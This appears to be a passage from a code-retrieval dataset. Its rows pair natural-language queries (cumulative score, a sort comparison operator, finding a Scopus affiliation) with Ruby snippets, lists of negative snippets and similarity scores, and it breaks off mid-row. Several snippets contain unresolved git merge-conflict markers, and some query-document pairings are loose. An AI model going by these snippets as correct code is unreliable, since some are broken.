query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
The cumulative score up to this point
|
def game_score
previous_hands = self.game_player.hand_players.joins(:hand).where(
"hands.position <= ?", self.hand.position
)
gs = 0
for h in previous_hands
gs += h.hand_score
end
return gs
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cumulative\n return @cumulative\n end",
"def cumulative\n return @cumulative\n end",
"def score\n populate_frames.inject(0) {|a,v| a+ v.frame_total}\n end",
"def score\n @rolls.reduce(:+)\n end",
"def total\n @frame.inject(0){|rez, item| item ? rez + item[:score] : rez }\n end",
"def score\n @cards.map(&:value).inject(:+)\n end",
"def calculate_score\n #example of array frames [5, 10, 20 , 35, 58]\n array_frames = generate_frames\n array_frames.reduce(0) {|memo, value| memo + value }\n end",
"def total_score \n \t\t@scores_array.reduce(0, :+) \n\tend",
"def score\n return self.progress - self.budget_ratio\n end",
"def gain_points\n @score += 1\n end",
"def total_score\n score || 0 #pos - neg\n end",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll +=2\n end",
"def base_score\n rank.last\n end",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll += 2\n end",
"def gain_point\n @score += 1\n end",
"def update_score()\r\n @score += GAME_PRESET[\"score_increment\"]\r\n end",
"def calculate_final_score\n self.scores.average(:total_score)\n end",
"def update_total_score\n @total_score += @score\n end",
"def calculate_score\n # @frames.flatten.compact.map(&:to_i).sum\n # @frames.map.with_index { |k, i| Frame.new((i+1), k.first, k.last).sum }.sum\n #my_frames = frames\n\n # TODO: actually calculate the score magically\n\n # Previous implementation\n # my_frames.map(&:sum).sum\n Frame.final_scoring(frames)\n end",
"def cumulative_time\n Statistics.cumulative_time(assessments: data.assessments)\n end",
"def score\n @total_score = 0\n @current_roll = 0\n @frame = 1\n\n while rolls?\n set_roll_logic\n if @frame > 10\n return @total_score\n else\n score_frame\n end\n end\n return @total_score\n end",
"def score\n @quarters.inject(:+)\n end",
"def get_total_score\n scores.map(&:score).sum\n end",
"def update_score(accumulated_score)\n @net_score += accumulated_score\n puts \"Total turn score: #{accumulated_score}, net score: #{@net_score}\"\n @net_score\n end",
"def score_game\n self.score = frames.reduce(0) { |sum, frame| sum + score_frame(frame) } \n end",
"def score\n # add score caching\n total = 0\n self.votes.each do |vote|\n total += vote.value\n end\n total\n end",
"def total_score\n\t\t0 + score_one.to_i + score_two.to_i + score_three.to_i + score_four.to_i\n\tend",
"def total_score\n sum = self.games.sum{|game|game.points}\n sum.to_i / self.games.count\n end",
"def incement_score\r\n\t\t \t @score += 2000\r\n\t\t end",
"def cumulative=(value)\n @cumulative = value\n end",
"def cumulative=(value)\n @cumulative = value\n end",
"def get_alternative_total_score()\n # TODO The method get_total_score() above does not seem correct. Replace with this method.\n total_score = 0\n\n self.scores.each { |score| total_score = total_score + score.score }\n\n total_score\n end",
"def calcScore(hand)\n return hand.inject(0) { |sum, n| sum + n.points }\nend",
"def score_roll\n @total_score += @roll + @next_roll\n @current_roll += 2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def cumsum\n cumsum = [ self.first ]\n self.each_with_index{ |x, i|\n cumsum[i] = self[i] + cumsum[ i - 1 ] unless i == 0\n }\n return cumsum\n end",
"def score\n dealt.inject(0){|sum,card| sum + card.value}\n end",
"def score\n last_30_score\n end",
"def cuadro_score tiro_index\n @tiros[tiro_index] + @tiros[tiro_index + 1]\n end",
"def get_total_score\n\t\tquestion_scores = Question_score.for_game_record(self.id)\n\t\tscore = 0\n\t\tquestion_scores.length.times do |i|\n\t\t\tscore += question_scores[i].score\n\t\tend\n\t\tscore\n\tend",
"def total_score\n Scrabble::Scoring.make_array_of_scores(@plays_array)\n @total_score_instance = Scrabble::Scoring.return_array_of_scores.inject(0, :+)\n end",
"def score\n @score || calculate_score\n end",
"def total_score\n\t\t@array = []\n\t\tself.attributes.each do |key, value|\n\t\t\tif key.to_s =~ /^score/\n\t\t\t\t@array << value\n\t\t\tend\n\t\tend\n\t\tunless @array ==[]\n\t\t\treturn @array.reduce(:+)\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def compute_score\n ts = self.created_at - Time.parse(\"January 1, 2012\")\n x = PanelVote.difference(self.id)\n y = x > 0 ? 1 : (x < 0 ? -1 : 0)\n z = x < 0 ? x * -1 : x\n z = 1 if z < 1\n self.score = Math.log(z, 10) * ((y * ts) / 45000)\n self.save\n end",
"def total_score\n return @plays.reduce(0) { |memo, word| memo + Scrabble::Scoring.score(word) }\n end",
"def win_pts\n self.score += 1\n end",
"def score\n while @current_roll < @rolls.size - 1\n init_roll\n\n if strike?\n score_strike\n elsif spare?\n score_spare\n else\n score_normal\n end\n end\n\n return @total_score\n end",
"def score\n while @current_roll < @rolls.size - 1\n init_roll\n\n if strike?\n score_strike\n elsif spare?\n score_spare\n else\n score_normal\n end\n end\n\n return @total_score\n end",
"def score\n return @score\n end",
"def update_score!(points)\n increment!(:score, points)\n end",
"def gain_a_point\n\n self.score += 1\n\n end",
"def calculate_score\n #set default user score value to 0 in the database but to prevent any errors and remove database dependencies i am including this line in the model as well\n score || 0\n self.games.each do |game|\n score+=game.points\n end\n score\n end",
"def total_score\n plays.inject(0) { |sum, word| sum + Scoring.score(word) }\n end",
"def score\n while @current_roll < @rolls.size - 1\n init_roll\n\n if strike?\n score_strike\n elsif spare?\n score_spare\n else\n score_roll\n end \n end\n \n return @total_score\n end",
"def score; end",
"def rescore(delta)\n self.score += delta\n self.save!\n end",
"def calculateScore\n\t\tif @game\n @score += [@gridPick.associatedTimer-@game.time,0].max\n\t\telse\n\t\t\t@score = 0\n\t\tend\n\tend",
"def recalculate_score!\n self.score = Vote.find(:all, :conditions => ['proposal_id = ? AND value IN (-1, 1)',self.id], :select => 'value').map{|v|v.value}.sum\n self.save!\n end",
"def get_score\n @score ||= calculate_score\n end",
"def score\n total = 0\n\n #loop through every frame scores\n @frame_score_array.each_with_index do |frame,index|\n\n # if frame is not an array, frame is a strike\n if !frame.kind_of? Array\n # p \"not array. it's strike\"\n # p index\n\n # sum up total of current frame plus next 2 rolls\n next_two_sum = @frame_sum_array[index..index+2].inject { |sum, n| sum+n }\n\n # check whethere there are any strikes after the current frame\n if next_two_sum == 30 || next_two_sum == 20\n # add & sum score from next 2 rolls into current\n @frame_sum_array[index] = @frame_sum_array[index..index+2].inject { |sum, n| sum+n }\n else\n # add & sum score from next 2 rolls into current\n @frame_sum_array[index] = @frame_sum_array[index..index+1].inject { |sum, n| sum+n }\n end\n else\n # p \"not strike. might be spare.\"\n # if frame is a spare\n if frame.inject { |sum, n| sum+n } == 10\n # only take the score of the next roll\n @frame_sum_array[index] += @frame_score_array[index+1][0]\n end\n end\n end\n\n # add total\n total = @frame_sum_array.inject { |sum, n| sum+n }\n end",
"def total_score\n total = 0\n @cards.each do |card|\n total += card.value\n end\n\n sorted_cards = @cards.sort\n\n straights = get_straight(sorted_cards).reverse\n straights.each do |straight|\n total += 40\n sorted_cards.slice!(straight[0]..straight[1])\n end\n\n three_cards = get_number_of_a_kind(sorted_cards, 3)\n three_cards.each do |three|\n total += 20\n sorted_cards.slice!(three[0]..three[1])\n end\n\n pairs = get_number_of_a_kind(sorted_cards, 2)\n pairs.each do |pair|\n total += 10\n sorted_cards.slice!(pair[0]..pair[1])\n end\n\n total\n end",
"def total_score(play)\n sum = 0;\n play.decision_array.each_with_index{|v, i|\n sum += 1 if v == decision_array[i] && i != 0 # exclude an example\n }\n sum\n end",
"def current_pts\n self.score\n end",
"def cumulative_surplus\n curve = surplus\n cumulative = []\n\n curve.each.with_index do |value, index|\n cumulative.push(index.zero? ? value : value + cumulative[index - 1])\n end\n\n cumulative\n end",
"def score\n @scoreTotal = @jogadas[0].down_pin + @jogadas[1].down_pin\n end",
"def current_coin_total\n @coins.map(&:value).reduce { |sum, num| sum += num }\n end",
"def total_score(scores) #scores needs to be an array of floats\n\toverall_score = 0\n\tscores.each { |num| overall_score += num}\n\toverall_score\nend",
"def running_score\n events.where('created_at > ?', 1.weeks.ago.to_s(:db)).sum(:value)\n end",
"def get_sum_frame()\n sum = 0\n @frames.each do |frame|\n if !frame.score.nil?\n sum += frame.score\n end\n end\n sum\n end",
"def score\n @score\n end",
"def rescore(delta)\n self.score += delta\n self.score = self.score.round(2)\n self.save!\n end",
"def frame_score\n return @frame_score unless @frame_score.nil?\n\n if tenth_frame?\n @frame_score = sum_of_rolls\n else\n if strike?\n @frame_score = (10 + next_two_points)\n elsif spare?\n @frame_score = (10 + next_point)\n else\n @frame_score = sum_of_rolls\n end\n end\n\n @frame_score\n end",
"def score\n end",
"def calc_frame_score\n prev_frame = frame[frame_number - 1]\n if prev_frame && (prev_frame[:strike] || prev_frame[:spare])\n frame[frame_number - 1][:score] = PINS + @ball1 + (prev_frame[:strike] ? @ball2 : 0)\n end\n @ball1 + @ball2\n end",
"def calculate_pain_score(prev, period, counter)\n return 0 unless prev.key?(period.participant)\n score = (@target_spacing * period.period_length) - (counter - prev[period.participant])\n score > 0 ? score : 0\n end",
"def score_strike\n @total_score += 10 + @next_roll + @rolls[@current_roll + 2]\n @current_roll += 1\n end",
"def score\n self.tiles.inject(0){|sum,num| sum+=TileBag.points_for(num)}\n end",
"def strike_frame\n @total_score += 10 + @next_roll + @first_roll_next_frame\n @current_roll +=1\n end",
"def score\n total_score = 0\n current_roll = 0\n\n while current_roll < @rolls.size - 1\n roll = @rolls[current_roll]\n next_roll = @rolls[current_roll + 1]\n\n if roll == 10 #strike\n total_score += 10 + @rolls[current_roll + 1] + @rolls[current_roll + 2]\n current_roll += 1\n elsif roll + next_roll == 10 #spare\n total_score += 10 + @rolls[current_roll + 2]\n current_roll += 2\n else #normal players\n total_score += roll + next_roll\n current_roll += 2\n end\n end\n\n return total_score\n end",
"def regularScore(rollIndex)\n @rolls[rollIndex] + @rolls[rollIndex + 1]\n end",
"def score\r\n @health + points\r\n end",
"def score\n result = 0\n tiro_index = 0\n rellenar_vector\n\n 10.times do\n if strike?(tiro_index)\n result += strike_Score(tiro_index)\n tiro_index += 1\n elsif spare?(tiro_index)\n\n result += spare_score(tiro_index)\n tiro_index += 2\n else\n result += cuadro_score(tiro_index)\n tiro_index += 2\n end\n end\n result\n end",
"def score\n [base_score] + kickers\n end",
"def score\n @result.to_i\n end",
"def add_point\n @score += 1\n end",
"def score_strike\n @total_score += 10 + @rolls[@current_roll + 1] + @rolls[@current_roll + 2]\n @current_roll += 1\n end",
"def score_strike\n @total_score += 10 + @rolls[@current_roll + 1] + @rolls[@current_roll + 2]\n @current_roll += 1\n end",
"def rescore(delta)\n self.score += delta\n self.score = self.score.round(2)\n self.save! \n end",
"def score\n # puts\n # p @frames\n\n raise RuntimeError, 'Score cannot be taken until the end of the game' unless game_over?\n\n base_rolls = @frames[0..9].flatten.size\n arr = @frames.flatten\n # p arr\n arr.map!.with_index do |elem, ndx|\n if ndx < base_rolls\n # p \"elem == #{elem}\"\n\n # should split the bonus calc off into a separate method\n # calc the bonus for the 1st subsequent roll\n bonus = arr[ndx + 1] == 'X' ? 10 : arr[ndx + 1] if elem == 'X' || elem == '/'\n if elem == 'X'\n # add the bonus for the 2nd subsequent roll\n bonus += if arr[ndx + 2] == 'X'\n 10\n elsif arr[ndx + 2] == '/'\n 10 - arr[ndx + 1]\n else\n arr[ndx + 2]\n end\n\n # p \"bonus == #{bonus}\"\n 10 + bonus\n elsif elem == '/'\n # p \"bonus == #{bonus}\"\n (10 - arr[ndx - 1]) + bonus\n else\n elem\n end\n end\n end\n # p arr\n # p arr[0...base_rolls]\n arr[0...base_rolls].sum\n end",
"def score\n\n # Initialise local counters\n scoreCounter = 0\n rollIndex = 0\n frameIndex = 0\n\n # Block to run over all frames\n @rolls.each do |roll|\n if frameIndex < 10\n if strike?(rollIndex)\n # A strike means a special score and the frame is cleared in one roll\n scoreCounter += strikeScore(rollIndex)\n rollIndex += 1\n elsif spare?(rollIndex)\n # A strike means a special score and the frame is cleared in two rolls\n scoreCounter += spareScore(rollIndex)\n rollIndex += 2\n else\n # A strike means a regular score and the frame is cleared in two rolls\n scoreCounter += regularScore(rollIndex)\n rollIndex += 2\n end\n frameIndex += 1\n end\n end\n\n # Return value\n scoreCounter\n\n end",
"def player1_score\n player_hand.inject(0){|sum,n| sum + n.value }\n end",
"def score\n active_set.score\n end",
"def print_total_score\n calculate_score\n end",
"def AddPoints(score)\n\tscore = score + 100\nend",
"def score\n (0..9).each do |row|\n if is_strike?(@frame)\n @score += 10 + strike_bonus(@frame)\n @frame += 1\n elsif (is_spare?(@frame))\n @score += 10 + spare_bonus(@frame)\n @frame += 2\n else\n @score += sum(@frame)\n @frame += 2\n end\n end\n return @score\n end",
"def total_last_trick_points(competitor)\n scores = competitor.scores\n\n last_trick_scores = scores.map { |s| s.val_5.to_i }\n last_trick_scores.reduce(:+) || 0\n end",
"def regular_frame\n @total_score += @roll + @next_roll\n @current_roll +=2\n end",
"def citation_score\n total = 0\n traverse_tree do |citation, depth|\n total += citation.score_at(depth)\n end\n\n return total\n end"
] |
[
"0.7598774",
"0.7598774",
"0.7016018",
"0.6835261",
"0.68092823",
"0.6770185",
"0.6713469",
"0.6668118",
"0.6667957",
"0.66292",
"0.66147524",
"0.6612897",
"0.660974",
"0.66006184",
"0.6579994",
"0.65395516",
"0.6502935",
"0.64596987",
"0.64559686",
"0.64388",
"0.6423252",
"0.64215493",
"0.6407649",
"0.64045155",
"0.6402368",
"0.6398506",
"0.63864124",
"0.63754123",
"0.63745666",
"0.6373101",
"0.6373101",
"0.637002",
"0.63589257",
"0.63537216",
"0.63460326",
"0.63460326",
"0.63460326",
"0.63444185",
"0.63439506",
"0.6330691",
"0.6326042",
"0.631578",
"0.63100034",
"0.63096714",
"0.62914175",
"0.6286772",
"0.62630993",
"0.62612474",
"0.6259862",
"0.6259862",
"0.62510604",
"0.6246619",
"0.6246274",
"0.62182814",
"0.6217832",
"0.6214178",
"0.6212013",
"0.6195839",
"0.6195754",
"0.61940694",
"0.61756736",
"0.61606336",
"0.61583114",
"0.6149868",
"0.61419266",
"0.614036",
"0.61339515",
"0.6129744",
"0.6122424",
"0.6117455",
"0.61140645",
"0.61048096",
"0.61045986",
"0.61031044",
"0.6098968",
"0.6088192",
"0.6084387",
"0.60819983",
"0.60816795",
"0.60809433",
"0.60763997",
"0.6059135",
"0.60550064",
"0.60456884",
"0.60380596",
"0.6028809",
"0.60275114",
"0.60161626",
"0.60161626",
"0.6014286",
"0.6009751",
"0.6001729",
"0.5999073",
"0.5993831",
"0.59912735",
"0.5985562",
"0.59693915",
"0.59685344",
"0.5964315",
"0.5956288"
] |
0.60655224
|
81
|
A spaceship operator used to easily sort an array
|
def <=>(node) #:nodoc:
cost <=> node.cost
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sort1(array)\n\nend",
"def bar arr\n arr.sort!\nend",
"def qsort(arr)\nend",
"def two(array)\n array.sort\nend",
"def foo arr\n arr.sort\nend",
"def del_sort(array)\n end",
"def using_sort(array)\narray.sort\nend",
"def using_sort(array)\narray.sort\nend",
"def mothrah_sort (an_array)\n\tdef move_to_end (value, array)\n\t\tarray.delete(value)\n\t\tarray.push(value)\n\tend\n\tpos = 0\n\twhile pos < an_array.length \n\t\tif an_array[pos] > an_array[pos + 1]\n\t\t\tmove_to_end(an_array[pos], an_array)\n\t\telse\n\t\t\tpos += 1\n\t\tend\n\tend\n\tan_array\nend",
"def orderly(array)\n p array.sort\nend",
"def grand_sorting_machine(array)\n\n\n\nend",
"def quick_sort(array)\nend",
"def sort arr\r\n\trec_sort arr, []\r\nend",
"def sort arr \n\trec_sort arr, []\nend",
"def array_2(array2)\n array2.sort!\n return array2\nend",
"def sort_array_plus_one(a)\n # Q2 CODE HERE\n a.sort.map {|elem| elem + 1}\nend",
"def insertion_sort(arr)\n return arr\nend",
"def dub_sort(arr)\nend",
"def using_sort(array)\n array.sort\nend",
"def using_sort(array)\n array.sort\nend",
"def using_sort(array)\n array.sort\nend",
"def my_array_sorting_method(array)\n\t@array=array\n\t@array.sort\n\treturn @array\nend",
"def using_sort(array)\n sorted_array=array.sort\nend",
"def sort arr\n rec_sort arr, []\nend",
"def my_array_sorting_method(source) \n # sorted = source.dup\n sorted_array = source.sort {|a, b| a.to_s <=> b.to_s}\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(source)\n # Your code here!\nend",
"def my_array_sorting_method(array, number)\n\nend",
"def insertion_sort(arr)\n<<<<<<< HEAD\n\tarr.each_with_index do |num, i|\n if i > 0\n while arr[i] < arr[i-1] && i > 0\n arr[i], arr[i-1] = arr[i-1], arr[i]\n i -= 1\n end\n \tend\n end\n=======\n>>>>>>> upstream/master\n return arr\nend",
"def my_array_sorting_method(source)\n p source.sort {|x,y| x.to_s <=> y.to_s}\nend",
"def shell_sort(arr)\n gap = arr.size / 2\n until gap >= 1\n (0...gap).each do |i|\n j = i\n while j < arr.size\n arr[j], arr[j+gap] = arr[j+gap], arr[j] if arr[j] > arr[j+gap]\n j = j + gap\n end\n end\n gap, mod = gap.divmod(2)\n gap = mod == 0 ? gap + 1 : gap\n end\n arr\nend",
"def take_array(array)\r\n array.sort\r\nend",
"def sort_array_plus_one(a)\n # Q2 CODE HERE\n return a.each_index { |i| a[i] += 1}.sort\nend",
"def sort_array_asc(array)\n\tarray.sort\nend",
"def shell_sort(array)\n p array\n gap = array.length/2\n while gap > 0\n puts \"gap is currently #{gap}\"\n idx = 0\n while idx < array.length - gap\n # while loop to move multiple steps\n while array[idx + gap] < array[idx]\n array[idx+gap],array[idx] = array[idx],array[idx+gap]\n if idx > 0\n idx -= 1\n else\n break\n end\n end\n idx += 1\n end\n gap = gap/2\n p \"-\" * 10\n p array\n end\nend",
"def swap_elements(array)\n array.sort do |a,b|\n a[1] <=> b[2]\n end \nend",
"def shell_sort(array)\n # p array\n gap = array.length/2\n while gap > 0\n idx = 0\n while idx < array.length - gap\n # while loop to move multiple steps\n while array[idx + gap] < array[idx]\n array[idx+gap],array[idx] = array[idx],array[idx+gap]\n if idx >= gap\n idx -= gap \n else\n break\n end\n end\n idx += 1\n end\n gap = gap/2\n # puts \"new gap is #{gap}\"\n p \"-\" * 10\n # p array verify properly sorting\n end\nend",
"def sort!\n\t\tquick!(self, 1, length)\n\tend",
"def bigSorting(unsorted)\n\nend",
"def my_array_sorting_method(source)\n sourceDup = source.dup\n # p sourceDup.sort_by{|word| word.to_s}\n\n return sourceDup.sort_by{|word| word.to_s}\nend",
"def sort_rever(array)\n p array.sort.reverse\nend",
"def sort_array_asc(array)\n array.sort\nend",
"def wiggle_sort(nums)\n nums = nums.sort!\n\n greater_num_idx = nums.length / 2\n lesser_num_idx = 1\n\n until lesser_num_idx >= greater_num_idx\n nums[lesser_num_idx], nums[greater_num_idx] = nums[greater_num_idx], nums[lesser_num_idx]\n lesser_num_idx += 2\n greater_num_idx += 1\n end\n nums\nend",
"def sort a\r\n sort_rec a, []\r\nend",
"def sort a\r\n sort_rec a, []\r\nend",
"def sort(arr)\n\tnew_arr = arr.sort\n\tp new_arr\nend",
"def ai_sorting_extension(a, b, action)\n return 0\n end",
"def sort some_array \n\tsortingRec some_array, []\nend",
"def sort_array_asc(array)\n array.sort\nend",
"def sort_array_asc(array)\n array.sort\nend",
"def sort_array_asc(array)\n array.sort\nend",
"def sort_array_asc(array)\n array.sort\nend",
"def sort_array_asc(array)\n array.sort\nend",
"def sort_array_asc(array)\n array.sort\nend",
"def my_array_sorting_method(source)\n source.sort {|x,y| x.to_s <=> y.to_s }\nend",
"def sort3(array, length)\n\nend",
"def sort arr\r\n\treturn arr if arr.length <= 1\r\n\r\n\tmiddle = arr.pop\r\n\tless = arr.select{|x| x < middle}\r\n\tmore = arr.select{|x| x >= middle}\r\n\r\n\tsort(less) + [middle] + sort(more)\r\nend",
"def my_array_sorting_method(source)\n source.sort {|x, y| x.to_s <=> y.to_s }\nend",
"def arrange_arr(arr)\n arr.shift\n arr\n end",
"def sort_array_plus_one(array)\r\n\r\n\tarray.sort! {|x, y| x <=> y}\r\n\tputs \"Input array :\"\r\n\tprint array\r\n\tprint \"\\n\"\r\n\tputs \"Result :\"\r\n\tfor i in array do \r\n\t\tprint i.to_i+1\r\n\t\tprint \", \"\r\n\r\n\tend\r\n\r\nend",
"def insertionsort! arr\n (1..arr.size - 1).each do |i|\n j = i\n while j > 0 && arr[j] < arr[j - 1] do\n arr[j], arr[j - 1] = arr[j - 1], arr[j]\n j -= 1\n end\n end\n arr\nend",
"def my_array_sorting_method(source, thing_to_locate)\n # Your code here!\nend",
"def my_array_sorting_method(source, thing_to_locate)\n # Your code here!\nend",
"def insertion_sort(arr)\n\t# variables for holding our two comparisons and the array maker\n\tc = 0\n\td = 1\n\tmark = 1\n\t# repeat unill you are through the whole array\n\twhile mark <= arr.length\n\t# assign the values in arr[c] to a and arr[d] to b\n\ta = arr[c]\n\tb = arr[d]\n\t\t# if they are not in ascending order\n\t\tif a > b\n\t\t\t# if c is 0\n\t\t\tif c == 0\n\t\t\t\t# assign the value of b to arr[c] and the value of a to arr[d]\n\t\t\t\tarr[c] = b\n\t\t\t\tarr[d] = a\n\t\t\t# increase c,d, & e by 1\n\t\t\tc += 1\n\t\t\td += 1\n\t\t\tmark += 1\n\t\t\t# if is is not 0\n\t\t\telse\n\t\t\t\t# assign the value of b to arr[c] and the value of a to arr[d]\n\t\t\t\tarr[c] = b\n\t\t\t\tarr[d] = a\n\t\t\t\t# decriment c and d by 1\n\t\t\t\tc -= 1\n\t\t\t\td -= 1\n\t\t\tend\n\t\t# if they are in ascending order\n\t\telse\n\t\t\t# increase c,d, & e by 1\n\t\t\tc += 1\n\t\t\td += 1\n\t\t\tmark += 1\n\t\tend\n\tend\n\treturn arr\nend",
"def insertion_sort(arr, &prc)\n dir = (prc.call(1,2) == -1) ? :ASC : :DESC\n while true\n i = 0\n j = 1\n inserted = false\n while j < arr.length\n if dir == :ASC\n if arr[i] > arr[j]\n num = arr.delete_at(i)\n arr.insert(j, num)\n inserted = true\n end\n else\n if arr[i] < arr[j]\n num = arr.delete_at(i)\n arr.insert(j, num)\n inserted = true\n end\n end\n i += 1\n j += 1\n end\n break if !inserted\n end\n arr\nend",
"def insertion_sort(arr)\n\t# step 1 - set variables. Placeholder_index starts at index 1 rather than index 0 because you\n\t# are always comparing the placeholder to what is to the left of the placeholder\n\tplaceholder_index = 1\n\t# until the placeholder_index is at the index value as the length of the array...\n\t\tuntil placeholder_index > (arr.length - 1)\n\t\t\tcurrent_index = placeholder_index\n\t\t\t# the compare_index is the value to the right of the placeholder/compare_index\n\t\t\tcompare_index = current_index - 1\n\t\t\t# until the current_index is greater than or equal to the compare_index\n\t\t\tuntil arr[current_index] >= arr[compare_index]\n\t\t\t\t# swap the two numbers\n\t\t\t\tarr[current_index], arr[compare_index] = arr[compare_index], arr[current_index]\n\t\t\t\t# compare left number and right\n\t\t\t\tcurrent_index -= 1\n\t\t\t\tcompare_index -= 1 unless compare_index == 0\n\t\t\tend\n\t\t\tplaceholder_index += 1\n\t\tend\nreturn arr\nend",
"def bubble_sort!(&prc)\n \n end",
"def shell_sort(array)\n len = array.length\n gap = 1\n\n # calculate gap distance for initial sub-array checks\n gap = gap * 3 + 1 while gap < len / 3\n\n while gap > 0\n (gap...len).each do |i|\n j = i\n while j >= gap\n if array[j - gap] > array[j]\n array[j - gap], array[j] = array[j], array[j - gap]\n end\n j -= gap\n end\n end\n gap /= 3\n end\n array\nend",
"def order(array)\n # code\nend",
"def bubble_sort(&prc)\n prc ||= Proc.new{|a,b| a <=> b }\n\n sorted = false\n while !sorted\n sorted = true\n\n (0...self.length - 1).each do |i|\n # debugger\n if prc.call(self[i], self[i + 1]) == 1 # REMEBER: spaceship operator returns a number! only 0 is falsey\n self[i], self[i + 1] = self[i + 1], self[i]\n sorted = false\n end\n end\n end\n\n self\n end",
"def my_array_sorting_method(source)\n return source.sort {|a,b| a.to_s <=> b.to_s }\nend",
"def bubble_sort!(&prc)\n\n end",
"def my_array_sorting_method(source)\n source.sort { |a, b| a.to_s <=> b.to_s } \nend",
"def sort some_array # This \"wraps\" rec_sort so you don't have to pass rec_sort an empty array each iteration \n rec_sort some_array, []\nend",
"def bubble_sort!(&prc)\n end",
"def bubble_sort!(&prc)\n end",
"def three(array)\n array.sort!.shift\n array << 6\nend",
"def selection_sort(arr)\n return arr\nend",
"def my_array_sorting_method(source)\n # sort by converting the integers, if there are, into strings for the purpose of sorting only\n return source.sort {|a,b| a.to_s <=> b.to_s }\nend",
"def sort3(num_array)\n for i in 0..num_array.length - 1\n key = num_array[i]\n j = i - 1\n\n # move elements of num_array[0..i-1] that are greater than key,\n # to one position ahead of their current position\n while j >= 0 && num_array[j] > key\n num_array[j + 1] = num_array[j]\n j -= 1\n end\n num_array[j + 1] = key\n end\n return num_array\nend",
"def sort_array_desc (array)\n array.sort_by do |sort|\n -sort\n end\nend",
"def sort_array_asc(array)\n asc_array = array.sort\n asc_array\nend",
"def insertion_sort(array=@base)\n 1.upto(array.size-1) do |index1|\n num = array[index1]\n index2 = index1 - 1\n while index2 >= 0 && array[index2] > num do\n array[index2+1] = array[index2]\n index2 -= 1\n end\n array[index2+1] = num\n end\n array\n end",
"def insertion_sort(array)\n return array if array.size < 2 \n\n for k in (1...array.size)\n for i in (0...k)\n if array[i] > array[k]\n swap(array, i, k)\n end \n end\n end\n array\nend",
"def sorting(numbers)\n numbers.sort\nend",
"def gnome_sort(array)\n count = 0\n\n while count < array.length - 1\n if array[count] > array[count + 1]\n array[count + 1], array[count] = array[count], array[count + 1]\n count -= 2 if count.positive?\n end\n count += 1\n end\n\n array\nend",
"def sort_array_desc(arry)\n arry.sort do |num1, num2|\n num2 <=> num1\n end\nend",
"def sort2(array, max_value)\n\nend",
"def sort(array)\n for index in (1...array.size)\n stored = array[index]\n position = index\n while position > 0 && array[position - 1] > stored\n array[position] = array[position - 1]\n position -= 1\n end\n array[position] = stored\n end\n array\nend",
"def quick_sort(&prc)\n end",
"def sort_nums_ascending(arr)\n return arr.sort\nend",
"def dictionary_sort arr ## this is a wrapper method ..\r\n\trec_dict_sort arr, [] ## when trying to sort an array,\r\nend",
"def compare_and_swap(array, i, j, dir)\n return unless dir == 1 && array[i] > array[j] ||\n dir == -1 && array[i] < array[j]\n\n array[i], array[j] = array[j], array[i]\nend",
"def my_array_sorting_method(source)\n result = source.sort { |a, b| a.to_s <=> b.to_s }\nend",
"def sort_array_asc(integers)\n integers.sort\nend",
"def sort_array_desc(array)\n array.sort {|x,y| y <=>x }\nend"
] |
[
"0.70653754",
"0.7053267",
"0.700868",
"0.69459575",
"0.68573505",
"0.68249255",
"0.67707664",
"0.67707664",
"0.6689981",
"0.6656238",
"0.66473943",
"0.66300565",
"0.6620141",
"0.65829307",
"0.6572471",
"0.6572238",
"0.6561332",
"0.6557607",
"0.65413564",
"0.65413564",
"0.65413564",
"0.65238875",
"0.6519935",
"0.64307433",
"0.64149886",
"0.640911",
"0.640911",
"0.640911",
"0.640911",
"0.640911",
"0.640911",
"0.640911",
"0.64088124",
"0.63958704",
"0.6391142",
"0.63851756",
"0.63843143",
"0.63699335",
"0.63539505",
"0.6338585",
"0.6332637",
"0.63147527",
"0.63070875",
"0.6295144",
"0.62917167",
"0.62812865",
"0.62769896",
"0.6275109",
"0.6264776",
"0.6264776",
"0.62625176",
"0.6254938",
"0.6246608",
"0.6245383",
"0.6245383",
"0.6245383",
"0.6245383",
"0.6245383",
"0.6245383",
"0.6239641",
"0.6234901",
"0.623272",
"0.6227054",
"0.62195116",
"0.6216411",
"0.6205475",
"0.6203356",
"0.6203356",
"0.6196291",
"0.61902887",
"0.6187939",
"0.61787355",
"0.6174997",
"0.61743253",
"0.6173739",
"0.6155544",
"0.6153771",
"0.61534464",
"0.61478156",
"0.6145814",
"0.6145814",
"0.6144976",
"0.6140746",
"0.6131862",
"0.613117",
"0.61232215",
"0.60992736",
"0.60990506",
"0.60987186",
"0.6094327",
"0.60933924",
"0.607798",
"0.60775965",
"0.60723394",
"0.60715294",
"0.60693777",
"0.6067474",
"0.6064516",
"0.6064441",
"0.606149",
"0.60587734"
] |
0.0
|
-1
|
We can't find the affiliation the ussual way we have to improvise Given the afid, we search on every tag until we find the desired one
|
def search_affiliation(afid)
x=xml.at_xpath("//affiliation[@afid=\"#{afid}\"]")
if !x
raise "I can't find affiliation #{afid}"
else
name=x.xpath("organization").map { |e| e.text }.join(";")
city=process_path(xml, "//affiliation[@afid=\"#{afid}\"]/city-group")
country=process_path(xml, "//affiliation[@afid=\"#{afid}\"]/country")
country||=x.attribute("country").value
end
{:id => afid, :name => name, :city => city, :country => country,:type=>:scopus}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
